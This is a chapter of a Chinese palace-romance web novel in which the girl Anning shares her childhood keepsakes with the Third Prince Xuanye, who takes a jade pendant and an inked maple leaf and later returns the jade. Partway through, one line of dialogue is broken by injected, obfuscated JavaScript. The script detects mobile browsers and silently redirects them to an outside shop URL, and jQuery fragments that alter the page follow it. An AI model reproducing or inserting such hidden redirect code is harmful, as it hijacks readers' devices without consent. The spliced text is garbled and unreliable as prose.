什么坏,什么善妒,安宁才不会给自己设限,她想如何便如何。
她瞧得出三阿哥并未动怒,反而对她的话很受用,于是立刻打蛇上棍,结结实实的抱住他的腰开始耍无赖,“我就要这样,就要这样,就要这样!”
三阿哥的腰侧较为敏感,她蹭得他痒痒难耐,忙不迭应下躲避,两人一同歪倒在小榻上闹来闹去。
墨绿色小鸟还当他们要与它玩耍,飞快从枯木上蹦跶过来,张开翅膀叽叽喳喳叫个不停。
“小叶,安静!不许叫!”
安宁故作训斥。
“这是宠随主了。”他支在榻上,不经意的摸了摸鸟羽。
“它的主人不是我,”安宁俯身趴在他跟前,脚丫在身后翘起来晃,压低了用气音故意道,“它是玄烨的鸟。”
三阿哥微微停顿,侧过眼睛。
安宁在他的眼中望见了自己的倒影。
他说:“日后便这样唤我吧。”
安宁略呆一瞬,随即小声疑问,“我额娘说直唤阿哥的名讳是大不敬,唤三阿哥又过于生疏,你年长我两岁,便一直唤你作三哥哥,难道你不喜欢我这般叫你吗?”
“既有三哥哥,便有大哥哥。”三阿哥反问,“若非比你大的皇子仅余二人,你还想有几个哥哥?”
旁人直呼他的名字确为大不敬,她却不一样。
此处的大哥哥,指的便是大阿哥了。
“……”这话怎么怪怪的,像生气,又不像。
安宁迷惑,哦了一声,乖乖应下,也不再说此话。
“对了,”她一溜烟跑回内室,片刻后捧出一只精巧的螺钿宝匣,“玄烨哥哥,我有东西要给你!”
“什么东西?”三阿哥目光在她粉呼呼的脸颊上打了个转,落于那只宝匣,似有所悟,“你要赠我礼?”
安宁扬起笑脸,打开宝匣,“这里头都是我这些年攒下来的宝物,你可以选一个,要什么我都给你!绝不心疼!”
宝物?
三阿哥微微扬眉。
望了一眼,顿时凝住表情,他捡起最上方的一只布偶,“这是……”
布偶缝的是一只幼猴,许是频繁浆洗过,已经褪色,由此可见它没少被人把玩。
安宁忙拿过来抱在怀里,爱惜的摸一摸幼猴的脑袋,“这是我额娘亲自为我缝的,我将将落地它就陪我一同睡觉,你别捏坏了它。”
猴是她的属相,三阿哥了然这宝匣中都是什么,又取出来一只荷包,“那这个呢?”
“奶娘幼年给我缝的,你闻闻,里头都是奶饽饽的香味呢!”
那得多臭?
“……”谁敢闻?
三阿哥嘴角微抽,看向其他的,竟还有一张用久的小被子,他颇为慨叹,“都是你幼时用惯了的物件,只怕是离不得?”
安宁深以为然,点点头,“我额娘说拿开我便会哭嚎不断,不肯睡觉。”
“难怪。”原是个泪窝子浅的。
这几句说得她打开了话匣子,干脆主动为他介绍起来。
“你看,”她捡起一颗圆润透白的东西,举起来给他看,“这是昔年我们一家去避暑山庄玩时,我在湖边捡到的鹅卵石,是不是特别圆?特别白?特别像大珍珠?”
三阿哥细瞧,发现鹅卵石被搓的光滑可鉴,于是他又看了一眼她的小手,“想来很不容易。”
“那当然不容易,我只找到了这么一颗,我阿玛和额娘都寻不到呢!”说起此事,安宁便很得意,祖父都夸她了不起,说她眼睛比旁人都好使。
他摇了摇头,很体贴的夸赞,“安宁妹妹果真厉害。”
安宁被夸得翘起尾巴,说来这些都是不值钱的物件,她忙往里头翻了翻,找出来一块祥云形状的玉璧,“这是我去岁背会了一首诗,祖父一时高兴赠于我的,听说很珍贵。”
玉璧几近透明,宛若乌云欲坠雨丝,触及竟然带着寸寸冷意,“冷玉?”三阿哥倍感意外,“着实珍贵,夏日捧来纳凉甚好。”
安宁肉疼的捏了捏它,纠结片刻,心一狠将其塞进三阿哥的怀中,“给你了!”
这倒是令三阿哥多出了几分意外,“你…”他如何看不出这人脸上的心疼,好似怕自己后悔了一般。
“你快装好!”可别让她看见了。
她捂住眼睛,垂下头作势继续翻找宝匣。
“装好了吗?”
过了会儿,传来他如常那般平和的声音,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011679|193080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好了。”
——“这是何物?”
“哎!”
安宁定睛一瞧,“呀,你轻些!”
是一片奇怪的红枫叶,有两人手掌那般大,被压实了,触觉硬脆,稍稍用力些便能捏碎它。
只是它并不是晒干的枫叶呈现出的枯黄色泽,而是沾染了墨迹的一团团黑色。
“你在上面写字了?”
“这你都知晓。”安宁咕哝,探头与他一同细看,“如今已经看不出字迹。”
很难猜吗?她方练字那几日,宣纸上到处都是类似的痕迹。
两人挨得近,三阿哥须得垂下眼帘才能看清她的面颊,“这个给我吧。”
“嗯?”安宁登时坐直身子,“你想要这个?”她傻眼的指着这片树叶。
“玄色的叶子,便是玄烨。予我岂不是正正好?”他笃定的说道,没有要还给她的意思。
“……”不要脸。
安宁憋着一口气,到底没敢说出来。
那这样他就拿走了她两个东西,她心疼死了…这可是她捡过的最大的枫叶。
下一刻,眼睛被他捂住。
她咋咋呼呼的扒住他的手,“作甚么?”
“不许骂我。”那只手重新遮上来。
“……我没有。”她被捂住了嘴巴,呜呜然抗议。
“眼睛骂也不行。”
他面无表情的时候还是很唬人的,奈何安宁已经不怕他了,张嘴便咬他手。
果然获得一记‘嘶’的吃痛。
夜里预备入睡,安宁仍十分得意,三阿哥被她咬走了,他没有生气,只是狠狠掐了一下她的脸颊。
她到铜镜前左右照了照自己,确认没有留下印子,哼着歌儿等踏绿为自己梳发。
“格格,这些物件不赏玩奴婢就替您收起来了。”
“嗯嗯嗯,好好。”安宁捏着自己的小脸,罢了反应过来,“什么物件?”
她小跑过去一瞧,踏绿手中竟捧着一枚祥云状的珍贵冷玉。
安宁惊了,不可置信:“你在何处寻到的?”
踏绿指向小榻,“哝,正在榻上,被软枕压的严严实实,奴婢险些没瞧见,还当格格忘了放回宝匣。”